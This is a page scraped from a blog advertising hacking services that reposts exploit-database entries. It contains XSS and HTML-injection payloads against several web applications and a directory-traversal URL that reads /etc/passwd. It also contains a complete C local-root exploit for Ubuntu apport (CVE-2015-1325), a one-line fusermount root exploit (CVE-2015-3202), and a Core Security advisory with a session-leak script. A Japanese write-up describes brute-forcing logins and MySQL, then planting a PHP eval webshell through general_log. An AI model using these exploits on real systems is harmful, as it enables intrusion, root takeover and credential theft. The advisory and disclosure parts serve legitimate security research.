Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863144293

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/53037/info

Yahoo Answer plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[]/[]/process-imported-question.php?catname=[xss]
http://www.example.com/[]/[]/editautopilot.php?query=[xss]
HireHackking 
source: https://www.securityfocus.com/bid/53038/info

TeamPass is prone to an HTML-injection vulnerability because it fails to sanitize user-supplied input.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and control how the site is rendered to the user; other attacks are also possible.

TeamPass 2.1.5 is vulnerable; other versions may also be affected.

POST /TeamPass/sources/users.queries.php HTTP/1.1
type=add_new_user&login=[XSS]&pw=testing2&email=test&admin=false&manager=true&read_only=false&personal_folder=false&new_folder_role_domain=false&domain=test&key=key
HireHackking 
/*
# Exploit Title: apport/ubuntu local root race condition
# Date: 2015-05-11
# Exploit Author: rebel
# Version: ubuntu 14.04, 14.10, 15.04
# Tested on: ubuntu 14.04, 14.10, 15.04
# CVE : CVE-2015-1325

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1325 / apport-pid-race.c
apport race conditions

ubuntu local root
tested on ubuntu server 14.04, 14.10, 15.04

core dropping bug also works on older versions, but you can't
write arbitrary contents. on 12.04 /etc/logrotate.d might work,
didn't check. sudo and cron will complain if you drop a real ELF
core file in sudoers.d/cron.d

unpriv@ubuntu-1504:~$ gcc apport-race.c -o apport-race && ./apport-race
created /var/crash/_bin_sleep.1002.crash
crasher: my pid is 1308
apport stopped, pid = 1309
getting pid 1308
current pid = 1307..2500..5000..7500..10000........
** child: current pid = 1308
** child: executing /bin/su
Password: sleeping 2s..

checker: mode 4532
waiting for file to be unlinked..writing to fifo
fifo written.. wait...
waiting for /etc/sudoers.d/core to appear..

checker: new mode 32768 .. done
checker: SIGCONT
checker: writing core
checker: done
success
# id
uid=0(root) gid=0(root) groups=0(root)

85ad63cf7248d7da46e55fa1b1c6fe01dea43749
2015-05-10
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <unistd.h>
#include <string.h>
#include <sys/wait.h>


char *crash_report = "ProblemType: Crash\nArchitecture: amd64\nCrashCounter: 0\nDate: Sat May  9 18:18:33 2015\nDistroRelease: Ubuntu 15.04\nExecutablePath: /bin/sleep\nExecutableTimestamp: 1415000653\nProcCmdline: sleep 1337\nProcCwd: /home/rebel\nProcEnviron:\n XDG_RUNTIME_DIR=<set>\nProcMaps:\n 00400000-00407000 r-xp 00000000 08:01 393307                             /bin/sleep\nProcStatus:\n Name:  sleep\nSignal: 11\nUname: Linux 3.19.0-15-generic x86_64\nUserGroups:\n_LogindSession: 23\nCoreDump: base64\n H4sICAAAAAAC/0NvcmVEdW1wAA==\n U1ZgZGJm4eLicvTxUQBiWw0goang5x/gGBwc7mIFEuMCAA==\n";
/*
last line is the stuff we write to the corefile

c = zlib.compressobj(9,zlib.DEFLATED,-zlib.MAX_WBITS)
t = '# \x01\x02\x03\x04\n\n\nALL ALL=(ALL) NOPASSWD: ALL\n'
# need some non-ASCII bytes so it doesn't turn into a str()
# which makes apport fail with the following error:
#    os.write(core_file, r['CoreDump'])
# TypeError: 'str' does not support the buffer interface
t = bytes(t,'latin1')
c.compress(t)
a = c.flush()
import base64
base64.b64encode(a)

# b'U1ZgZGJm4eLicvTxUQBiWw0goang5x/gGBwc7mIFEuMCAA=='
*/

int apport_pid;
char report[128];

void steal_pid(int wanted_pid)
{
    int x, pid;

    pid = getpid();

    fprintf(stderr,"getting pid %d\n", wanted_pid);
    fprintf(stderr,"current pid = %d..", pid);

    for(x = 0; x < 500000; x++) {
        pid = fork();
        if(pid == 0) {
            pid = getpid();
            if(pid % 2500 == 0)
                fprintf(stderr,"%d..", pid);

            if(pid == wanted_pid) {
                fprintf(stderr,"\n** child: current pid = %d\n", pid);
                fprintf(stderr,"** child: executing /bin/su\n");

                execl("/bin/su", "su", NULL);
            }
            exit(0);
            return;
        }
        if(pid == wanted_pid)
            return;

        wait(NULL);
    }

}



void checker(void)
{
    struct stat s;
    int fd, mode, x;

    stat(report, &s);

    fprintf(stderr,"\nchecker: mode %d\nwaiting for file to be unlinked..", s.st_mode);

    mode = s.st_mode;

    while(1) {
// poor man's pseudo-singlestepping
        kill(apport_pid, SIGCONT);
        kill(apport_pid, SIGSTOP);

// need to wait a bit for the signals to be handled,
// otherwise we'll miss when the new report file is created
        for(x = 0; x < 100000; x++);

        stat(report, &s);

        if(s.st_mode != mode)
            break;
    }

    fprintf(stderr,"\nchecker: new mode %d .. done\n", s.st_mode);

    unlink(report);
    mknod(report, S_IFIFO | 0666, 0);

    fprintf(stderr,"checker: SIGCONT\n");
    kill(apport_pid, SIGCONT);

    fprintf(stderr,"checker: writing core\n");

    fd = open(report, O_WRONLY);
    write(fd, crash_report, strlen(crash_report));
    close(fd);
    fprintf(stderr,"checker: done\n");

    while(1)
        sleep(1);
}



void crasher()
{
    chdir("/etc/sudoers.d");

    fprintf(stderr,"crasher: my pid is %d\n", getpid());

    execl("/bin/sleep", "sleep", "1337", NULL);

    exit(0);
}


int main(void)
{
    int pid, checker_pid, fd;
    struct rlimit limits;
    struct stat s;

    limits.rlim_cur = RLIM_INFINITY;
    limits.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &limits);

    pid = fork();

    if(pid == 0)
        crasher();

    sprintf(report, "/var/crash/_bin_sleep.%d.crash", getuid());

    unlink(report);
    mknod(report, S_IFIFO | 0666, 0);

    fprintf(stderr,"created %s\n", report);

    usleep(300000);
    kill(pid, 11);
    apport_pid = pid + 1;
// could check that pid+1 is actually apport here but it's
// kind of likely
    fprintf(stderr,"apport stopped, pid = %d\n", apport_pid);

    usleep(300000);

    kill(pid, 9);
    steal_pid(pid);
    sleep(1);

    kill(apport_pid, SIGSTOP);

    checker_pid = fork();

    if(checker_pid == 0) {
        checker();
        exit(0);
    }

    fprintf(stderr,"sleeping 2s..\n");
    sleep(2);

    fprintf(stderr,"writing to fifo\n");

    fd = open(report, O_WRONLY);
    write(fd, crash_report, strlen(crash_report));
    close(fd);

    fprintf(stderr,"fifo written.. wait...\n");
    fprintf(stderr,"waiting for /etc/sudoers.d/core to appear..\n");

    while(1) {
        stat("/etc/sudoers.d/core", &s);
        if(s.st_size == 37)
            break;
        usleep(100000);
    }

    fprintf(stderr,"success\n");
    kill(pid, 9);
    kill(checker_pid, 9);
    return system("sudo -- sh -c 'stty echo;sh -i'");
}
HireHackking 
Source: https://gist.github.com/taviso/ecb70eb12d461dd85cba
Tweet: https://twitter.com/taviso/status/601370527437967360
Recommend Reading: http://seclists.org/oss-sec/2015/q2/520
YouTube: https://www.youtube.com/watch?v=V0i3uJJPJ88



# Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet.
 
12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
a=/tmp/.$$;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
 
# Here's how it works, $a holds the name of a shellscript to be executed as
# root.
a=/tmp/.$$;
 
# $b is used twice, first to build the contents of shellscript $a, and then as
# a command to make $a executable. Quotes are unused to save a character, so
# the seperator must be escaped.
b=chmod\ u+sx;
 
# Build the shellscript $a, which should contain "chmod u+sx /bin/sh", making
# /bin/sh setuid root. This only works on Debian/Ubuntu because they use dash,
# and dont make it drop privileges.
#
# http://www.openwall.com/lists/oss-security/2013/08/22/12
#
echo $b /bin/sh>$a;
 
# Now make the $a script executable using the command in $b. This needlessly
# sets the setuid bit, but that doesn't do any harm.
$b $a;
 
# Now make $a the directory we want fusermount to use. This directory name is
# written to an arbitrary file as part of the vulnerability, so needs to be
# formed such that it's a valid shell command.
a+=\;$a;
 
# Create the mount point for fusermount.
mkdir -p $a;
 
# fusermount calls setuid(geteuid()) to reset the ruid when it invokes
# /bin/mount so that it can use privileged mount options that are normally
# restricted if ruid != euid. That's acceptable (but scary) in theory, because
# fusermount can sanitize the call to make sure it's safe.
#
# However, because mount thinks it's being invoked by root, it allows
# access to debugging features via the environment that would not normally be
# safe for unprivileged users and fusermount doesn't sanitize them.
#
# Therefore, the bug is that the environment is not cleared when calling mount
# with ruid=0. One debugging feature available is changing the location of
# /etc/mtab by setting LIBMOUNT_MTAB, which we can abuse to overwrite arbitrary
# files.
#
# In this case, I'm trying to overwrite /etc/bash.bashrc (using the name of the
# current shell from $0...so it only works if you're using bash!).
#
# The line written by fusermount will look like this:
#
# /dev/fuse /tmp/.123;/tmp/.123 fuse xxx,xxx,xxx,xxx
#
# Which will try to execute /dev/fuse with the paramter /tmp/_, fail because
# /dev/fuse is a device node, and then execute /tmp/_ with the parameters fuse
# xxx,xxx,xxx,xxx. This means executing /bin/sh will give you a root shell the
# next time root logs in.
#
# Another way to exploit it would be overwriting /etc/default/locale, then
# waiting for cron to run /etc/cron.daily/apt at midnight. That means root
# wouldn't have to log in, but you would have to wait around until midnight to
# check if it worked.
#
# And we have enough characters left for a hash tag/comment.
LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
 
# Here is how the exploit looks when you run it:
#
# $ a=/tmp/_;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
# fusermount: failed to open /etc/fuse.conf: Permission denied
# sending file descriptor: Socket operation on non-socket
# $ cat /etc/bash.bashrc 
# /dev/fuse /tmp/_;/tmp/_ fuse rw,nosuid,nodev,user=taviso 0 0
#
# Now when root logs in next...
# $ sudo -s
# bash: /dev/fuse: Permission denied
# # ls -Ll /bin/sh
# -rwsr-xr-x 1 root root 121272 Feb 19  2014 /bin/sh
# # exit
# $ sh -c 'id'
# euid=0(root) groups=0(root)
#
# To repair the damage after testing, do this:
#
# $ sudo rm /etc/bash.bashrc
# $ sudo apt-get install -o Dpkg::Options::="--force-confmiss" --reinstall -m bash
# $ sudo chmod 0755 /bin/sh
# $ sudo umount /tmp/.$$\;/tmp/.$$
# $ rm -rf /tmp/.$$ /tmp/.$$\;
#


- - - - - - - - - - -


$ printf "chmod 4755 /bin/dash" > /tmp/exploit && chmod 755 /tmp/exploit
$ mkdir -p '/tmp/exploit||/tmp/exploit'
$ LIBMOUNT_MTAB=/etc/bash.bashrc  _FUSE_COMMFD=0 fusermount '/tmp/exploit||/tmp/exploit'
fusermount: failed to open /etc/fuse.conf: Permission denied
sending file descriptor: Socket operation on non-socket
$ cat /etc/bash.bashrc
/dev/fuse /tmp/exploit||/tmp/exploit fuse rw,nosuid,nodev,user=taviso 0 0

Then simply wait for root to login, or alternatively overwrite
/etc/default/locale and wait for cron to run a script that sources it.
That means root wouldn't have to log in, but you would have to wait
around until midnight to check if it worked.
HireHackking

Joomla! Component JA T3 Framework - Directory Traversal

HACKER · %s · %s

source: https://www.securityfocus.com/bid/53039/info The JA T3 Framework component for Joomla! is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data. Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks. http://www.example.com/jojo/index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1
HireHackking
source: https://www.securityfocus.com/bid/53143/info XOOPS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. XOOPS 2.5.4 is vulnerable; other versions may be affected. <form action='http://www.example.com/modules/pm/pmlite.php' method="post"> <input type="hidden" name="sendmod" value='1'> <input type="hidden" name="to_userid" value='"><script>alert(document.cookie);</script>'> <input type="submit" value="submit" id="btn"> </form>
HireHackking

ownCloud 3.0.0 - 'index.php?redirect_url' Arbitrary Site Redirect

HACKER · %s · %s

source: https://www.securityfocus.com/bid/53145/info ownCloud is prone to a URI open-redirection vulnerability, multiple cross-site scripting vulnerabilities and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input. An attacker could leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. Successful exploits may redirect a user to a potentially malicious site; this may aid in phishing attacks. ownCloud 3.0.0 is vulnerable; other versions may also be affected. http://www.example.com/owncloud/index.php?redirect_url=1"><script>alert("Help Me")</script><l=" (must not be logged in) http://www.example.com/owncloud/index.php?redirect_url=http%3a//www.boeserangreifer.de/
HireHackking
# Exploit Title: Wordpress church_admin Stored XSS # Date: 21-04-2015 # Exploit Author: woodspeed # Vendor Homepage: https://wordpress.org/plugins/church-admin/ # Version: 0.800 # OSVDB ID : http://www.osvdb.org/show/osvdb/121304 # WPVULNDB ID : https://wpvulndb.com/vulnerabilities/7999 # Category: webapps 1. Description On the registration form the address field is not validated before returning it to the user. Visiting the Directory page, will show the confirm window. 2. Proof of Concept POST /wordpress/index.php/2015/05/21/church_admin-registration-form/ save=yes&church_admin_register=9d18cf0420&_wp_http_referer=%2Fwordpress%2Findex.php%2F2015%2F05%2F21%2Fchurch_admin-registration-form%2F&first_name%5B%5D=test&prefix%5B%5D=&last_name%5B%5D=test&mobile%5B%5D=%2B3670&people_type_id%5B%5D=1&email%5B%5D=test%40test.test&sex1=male&phone=%2B3670&address=%3Cscript%3Econfirm%28%29%3C%2Fscript%3E&lat=51.50351129583287&lng=-0.148193359375&recaptcha_challenge_field=03AHJ_VuvBRBO1Vts65lchUe_H_c1AuISniJ4rFDcaPyecjg-HypsHSZSfTkCyZMUC6PjVQAkkuFDfpnsKn28LU8wIMxb9nF5g7XnIYLt0qGzhXcgX4LSX5ul7tPX3RSdussMajZ-_N1YQnOMJZj8b5e5LJgK68Gjf8aaILIyxKud2OF2bmzoZKa56gt1jBbzXBEGASVMMFJ59uB9FsoJIzVRyMJmaXbbrgM01jnSseeg-thefo83fUZS9uuqrBQgqAZGYMmTWdgZ4xvrzXUdv5Zc76ktq-LWKPA&recaptcha_response_field=134 GET /wordpress/index.php/2015/05/21/church_admin-directory/ <header class="entry-header"> <h1 class="entry-title">church_admin directory</h1> </header><!-- .entry-header --> <div class="entry-content"> <p><a href="http://localhost/wordpress/?download=addresslist&addresslist=d759d84e16&member_type_id=1,2">PDF version</a></p><form name="ca_search" action="" method="POST"> <p><label style="width:75px;float:left;">Search</label><input name="ca_search" type="text"/><input type="submit" value="Go"/><input type="hidden" name="ca_search_nonce" value="99de1bedec"/></p></form><div class="tablenav"><div class="tablenav-pages"><div class="pagination"></div> </div></div> <div class="church_admin_address" itemscope itemtype="http://schema.org/Person"> <div class="church_admin_name_address" > <p><span itemprop="name"><strong>test test</strong></span></p> <p><span itemprop="address" itemscope itemtype="http://schema.org/PostalAddress"><script>confirm()</script></span></p></div><!--church_admin_name_address--> <div class="church_admin_phone_email"> <p> <a class="email" href="tel:+3670">+3670</a><br/> <a class="email" href="tel:+3670"><span itemprop="telephone">+3670</span></a><br/> <a class="email" itemprop="email" href="mailto:test@test.test">test@test.test</a><br/> </p> </div><!--church_admin_phone_email--> 3. Solution Fixed in version 0.810.
HireHackking

Sendio ESP - Information Disclosure

HACKER · %s · %s

1. Advisory Information Title: Sendio ESP Information Disclosure Vulnerability Advisory ID: CORE-2015-0010 Advisory URL: http://www.coresecurity.com/advisories/sendio-esp-information-disclosure-vulnerability Date published: 2015-05-22 Date of last update: 2015-05-22 Vendors contacted: Sendio Release mode: Coordinated release 2. Vulnerability Information Class: OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management [CWE-930], Information Exposure [CWE-200] Impact: Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2014-0999, CVE-2014-8391 3. Vulnerability Description Sendio [1] ESP (E-mail Security Platform) is a network appliance which provides anti-spam and anti-virus solutions for enterprises. Two information disclosure issues were found affecting some versions of this software, and can lead to leakage of sensitive information such as user's session identifiers and/or user's email messages. 4. Vulnerable Packages Sendio 6 (14.1120.0) Other products and versions might be affected too, but they were not tested. 5. Vendor Information, Solutions and Workarounds Sendio informs us that [CVE-2014-0999] and [CVE-2014-8391] are fixed on Sendio software Version 7.2.4. For [CVE-2014-0999], the vulnerability only exists for HTTP web sessions and not HTTPS web sessions. Sendio recommends that customers who have not upgraded to Version 7.2.4 should disallow HTTP on their Sendio product and only use HTTPS. 6. Credits This vulnerability was discovered and researched by Martin Gallo from Core Security's Consulting Services Team. The publication of this advisory was coordinated by Joaquín Rodríguez Varela from Core Security's Advisories Team. 7. Technical Description / Proof of Concept Code 7.1. Disclosure of session cookie in Web interface URLs The Sendio [1] ESP Web interface authenticates users with a session cookie named "jsessionid". The vulnerability [CVE-2014-0999] is caused due the way the Sendio ESP Web interface handles this authentication cookie, as the "jsessionid" cookie value is included in URLs when obtaining the content of emails. The URLs used by the application follow this format: http://<ESP-web-interface-domain>:<ESP-web-interface-port>/sendio/ice/cmd/msg/body;jsessionid=<session-identifier-value>?id=<message-id> This causes the application to disclose the session identifier value, allowing attackers to perform session hijacking. An attacker might perform this kind of attack by sending an email message containing links or embedded image HTML tags pointing to a controlled web site, and then accessing the victim's session cookies through the "Referrer" HTTP header. Accessing this authentication cookie might allow an attacker to hijack a victim's session and obtain access to email messages or perform actions on behalf of the victim. 7.2. Response mixup in Web interface The vulnerability [CVE-2014-8391] is caused by an improper handling of users' sessions by the Web interface. Under certain conditions, this could lead to the server disclosing sensitive information that was intended for a different user. This information includes, for instance, other users' session identifiers, email message identifiers or email message subjects. In order to trigger this vulnerability, requests should be authenticated. The following Python script can be used to trigger this vulnerability under certain circumstances: import requests domain = "target.domain.com" # The target domain port = 8888 # The target port jsessionid = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" # A valid jsessionid num = 100000 # No of request to make msgid = 9999999 # A valid message id to baseline the requests url = "http://%s:%d/sendio/ice/cmd/msg/body;jsessionid=%s" % (domain, port, jsessionid) def make_request(id): params = {"id": str(id)} headers = {"Cookie": "JSESSIONID=%s" % jsessionid} return requests.get(url, params=params, headers=headers) print "[*] Reaching the target to define baseline" r = make_request(msgid) baseline_length = r.headers["content-length"] print "[*] Defined baseline: %d bytes" % baseline_length for id in range(0, num): r = make_request(msgid) rlength = int(r.headers["content-length"]) if r.status_code == 200 and rlength != baseline_length: print "\t", r.status_code, rlength, r.text else: print "\t", r.status_code, rlength 8. Report Timeline 2015-03-26: Core Security sent an initial notification to Sendio informing them that multiple vulnerabilities were found in one of their products, and requested their PGP keys in order to start an encrypted communication. 2015-03-27: Sendio replied that they would not be able to use PGP keys, but stated that their In/out SMTP gateway uses TLS, so that should suffice. They detailed that they were working on a fix for the "CS_SENDIO_JSESSIONID_DISCLOSURE" vulnerability and estimated it would be released by the end of April, 2015. They requested additional technical details for the "CS_SENDIO_INFO_LEAK" vulnerability. 2015-03-30: Core Security informed that understood that Sendio may not be able to use PGP keys, but Core doesn't consider the use of TLS as a replacement for PGP. Core Security requested to receive confirmation from Sendio in case they wanted to keep the communications unencrypted with PGP in order to send them a draft version of the advisory. 2015-03-30: Sendio confirmed that the communication can remain "as is" without PGP. They will inform Core once they have a specific date for publishing the fix. Sendio requested a PoC for the "CS_SENDIO_INFO_LEAK vulnerability". 2015-03-31: Core Security sent a draft version of the advisory and PoC to Sendio. 2015-03-31: Sendio confirmed reception of the advisory and PoC and informed Core that they would provide an update on their test on April 6. 2015-04-06: Sendio informed Core that they were able to reproduce the "CS_SENDIO_INFO_LEAK" issue and that were still analyzing it in order to create a fix. 2015-04-07: Core Security requested an estimated date for the release of a fix/update. 2015-04-13: Core Security again requested an answer from Sendio regarding the release of a fix/update. 2015-04-13: Sendio informed Core they were still working on a fix for the JSession issue that covers all use cases across Microsoft Outlook and the various supported web browsers. For the "CS_SENDIO_INFO_LEAK" they had coded a fix that was undergoing a System Test. Sendio estimated the release would take place on May 15, 2015. 2015-04-20: Sendio informed Core they were still planning to release the fixes by May 15, 2015. 2015-04-20: Core Security thanked Sendio for the update and informed them they would schedule their security advisory accordingly. 2015-04-24: Core Security requested that Sendio delay the release date of the fixes until Monday, May 18 in order to avoid publishing them on a Friday. 2015-04-27: Sendio informed Core that many of their customers have their Sendio systems set to "automatically update" on weekends. Sendio requested Core publish their advisory a week after the fix is published. Sendio also requested the ability to add some workarounds into Core's advisory. 2015-04-28: Core Security informed Sendio that they understood their update policy and let them know that it is Core's policy to publish their advisory the same day the fix is released in order to inform the affected users of its availability. Core also stated that they were willing to add any workarounds Sendio proposed. 2015-05-05: Sendio informed Core that they were still having problems developing a fix for the JSession vulnerability, therefore they may have to postpone the release date from May 15 to May 22. 2015-05-07: Core Security thanked Sendio for the update and requested to be kept informed in order to have enough time to schedule their advisory. 2015-05-12: Sendio confirmed that they needed to delay the publication of the fixes until May 21. Additionally, Sendio sent Core the proposed workarounds to be added in Core's advisory and requested a draft copy of it. 2015-05-15: Core Security informed Sendio it would reschedule the publication of their advisory and would send them a draft copy of it once they produced the final version. 2015-05-20: Sendio informed Core that they would publish the fixes at 10 PM, May 21. 2015-05-20: Core Security informed Sendio that based on their publication time they would have to delay the release of the advisory until Friday 22. 2015-05-22: Advisory CORE-2015-0010 published. 9. References [1] http://www.sendio.com/. 10. About CoreLabs CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. About Core Security Technologies Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. Disclaimer The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. PGP/GPG Keys This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
HireHackking

タイトル：承認された浸透テストを記録します

HACKER · %s · %s

序文
承認されたテストでは、少し前のテストでは、一歩なしにはゲッシェルの目的を達成できないと感じました。単一の脆弱性は確かに普通ですが、組み合わせると、予期しない化学効果がある可能性があります。

予備テスト
このサイトを取得したとき、メンバーのログインインターフェイスを一目で見ました。最初は登録について考えましたが、メンバーシップ機能は非常に少なく、検証コードがないと感じました。バックエンド管理者もメンバーである場合、バックエンドにアクセスして試してみることはできませんか？
携帯電話番号のログインが表示されますが、管理者を試してみて、フロントデスクに混乱しないでください。ユーザー名を列挙できることは偶然であり、管理者アカウントもあります。爆発しなければごめんなさい。
辞書では、Duck King's Dictionary、Blasting Artifactを使用しています。この辞書は、多くのサイト（https://github.com/thekingofduck/fuzzdicts）を爆破するために使用されています。今回はそれを爆破することができて幸運でした。
背景に到達してログインすると、管理者は同じパスワードを使用してログインしたいと思っています。接尾辞PHPを追加して、ワンストップのゲルシェルを見つけてアップロードします。
編集者が画像をアップロードするのを見たとき、物事はそれほど単純ではないと感じました。予想通り、接尾辞の追加は機能しませんでした
ThinkCMF Webサイトビルディングシステムであることがわかりました。私はオンラインで脆弱性を検索し、脆弱性のコレクションを見ました（https://www.hacking8.com/bug-web/thinkcms/thinkcmf%E6%BC%8F%E6%B4%9Eです。私は検索を続けました（https://www.freebuf.com/vuls/217586.html）。基本的に、私はすべてのペイロードを試しました。脆弱性がハイバージョンで修正されたか、使用方法が正しくなかったが、それは正常に悪用されていなかったはずです。いくつかの方法はウェブサイトにとって破壊的であり、私がそれを試してみると、私はbeatられて死ぬことはありません。今まで我慢できないので、抜け穴を見つけるようにしてください。退屈できない場合は、もっと抜け穴を見つけてください。リーダーの話を聞くことはできません。

高度なステージ
最初にウェブサイトを開くと、Googleプラグインセンサー（T00LSで見つかります）をインストールし、Webサイトの繊細なディレクトリを最初に検出できます。
NMAPを使用してオープンポートを検出し、ポート3306が一般に公開されていることがわかりました。希望なしに3306を爆破したいと思います。とにかく、私はいくつかの3306パスワードを破裂させませんでした。私は超弱いパスワードチェックツールを使用してから、Duck King's Dictionaryを使用しました。辞書が強力であるのか、それとも運が爆発しているのかを誰が知っていますか？ちなみに、これは弱いパスワードではありません。辞書にはこのパスワードがあるとしか言えません。辞書が存在する限り、それは間違っていません。
次は通常の操作です。ロギングを試してください
「％一般％」のような変数を表示します。ログステータスを表示します
グローバルgeneral_log='on' on 'nog log reading and writingを設定します
グローバルgeneral_log_file='xxx.php'ログパスを指定します
'？php eval（$ _ post [' cmd ']）;'を選択しますxxx.phpにログを書き込みます


その他の脆弱性
責任ある態度に基づいて、他のいくつかの抜け穴が発見されましたが、それらは比較的有害ではありませんが、テストレポートを書く必要がない場合は、書くことができます。
ログインIP偽造この背景には一般に、ユーザーのログインIPを記録する習慣がありますが、IPがIPを記録するときにIPが選択された場合、攻撃者はログインIPを偽造できます。 IPの正当性が確認されていない場合、XSSペイロードを構築してストレージXSSをトリガーすることは不可能ではありません。テスト中に数回遭遇しました。ストレージXSSは、メンバーのログインIPが記録されるバックグラウンドにあります。
ただし、ここでの唯一の欠点は、背景がIPの正当性をチェックすることです。違法IPの場合、0.0.0.0.0にリセットされます。
最優先の脆弱性でログインした後、管理者は自分で動作できないことがわかりました。これは恥ずかしいです。管理者は情報を変更できませんでした。
これは、変更できるリンクを見つけるための非常に簡単な方法であり、URLを変更して管理者の情報を変更します。経験によると、管理者が独自の情報を変更する状況の多くは、フロントエンドの制限です。
その後、詳細ページがポップアップし、変更できます。ここでは、メンバーシップレベルを変更して、普通のメンバーからVIPに自分自身を変更してください。管理者はどのようにして普通のメンバーになることができますか？要約1。ターゲットサイト管理者の背景に管理者アカウントを入力します。パスワードが任意の場合、パスワードが表示され、管理アカウントが存在します。 2。BPの侵入者機能を通じて管理者アカウントを爆破します。パスワード辞書では、Fuzzdicts Dictionary（https://github.com/thekingofduck/fuzzdicts）を使用しています。 3。バックグラウンドを入力した後、画像のアップロードがアップロードされましたが、アップロードサイトのターゲットサイトはホワイトリストから制限されており、文をアップロードできません。 4。クラウドクリケットを通じて、ターゲットサイトはCMSフィンガープリントで検出され、ThinkCMシステムであることがわかりました。いくつかの歴史的な脆弱性をテストしましたが、実りはありませんでした。 16.情報検出は、検出のためにGoogle Chromeプラグインセンサーを介して実行され、PHPINFO.PHPが見つかりました。ウェブサイトの絶対パスはここに表示されます。 17. NAMPを介してターゲットサイトのIPをスキャンし、ポート3306 18があることを見つけます。ターゲットサイトのポート3306は、超弱いパスワードツールを通して爆破され、パスワードは最終的に正常に爆破されました。 19. NAVICATを介してターゲットサイトMySQLにリモートで接続し、「％一般％」のようなSQLコマンド端子表示変数でログログを介して文を書きます。ログステータスを表示するグローバルgeneral_log='on' on 'on on on on on log reading and writing set set set set set set set set set set set set set set xxx.php'ログパス選択'？php eval（$ _ post [' cmd ']）;' xxx.php20にログを書き込みます。最後に、アリの剣を通して正常に接続します。出典：https://xz.aliyun.com/t/10460
HireHackking

Croogo CMS 1.3.4 - Multiple HTML Injection Vulnerabilities

HACKER · %s · %s

source: https://www.securityfocus.com/bid/53287/info Croogo CMS is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. Croogo CMS 1.3.4 is vulnerable; other versions may also be affected. URL: http://www.example.com/croogo/admin/users <td>"><iframe src="a" onload='alert("VL")' <<="" td=""> <td>"><iframe src=a onload=alert("VL") <</td> <td>asdasd () aol com</td> <td><a href="/croogo/admin/users/edit/2">Edit</a> <a href="/croogo/admin/users/delete/2/token: c68c0779f65f5657a8d17c28daebcc7a15fe51e3" onclick="return confirm('Are you sure?');">Delete</a></td></tr> URL: http://www.example.com/croogo/admin/roles <tr class="striped"><td>4</td> <td>"><iframe src="a" onload='alert("VL")' <<="" td=""> <td>"><iframe src=a onload=alert("VL") <</td> <td> <a href="/croogo/admin/roles/edit/4">Edit</a> <a href="/croogo/admin/roles/delete
HireHackking

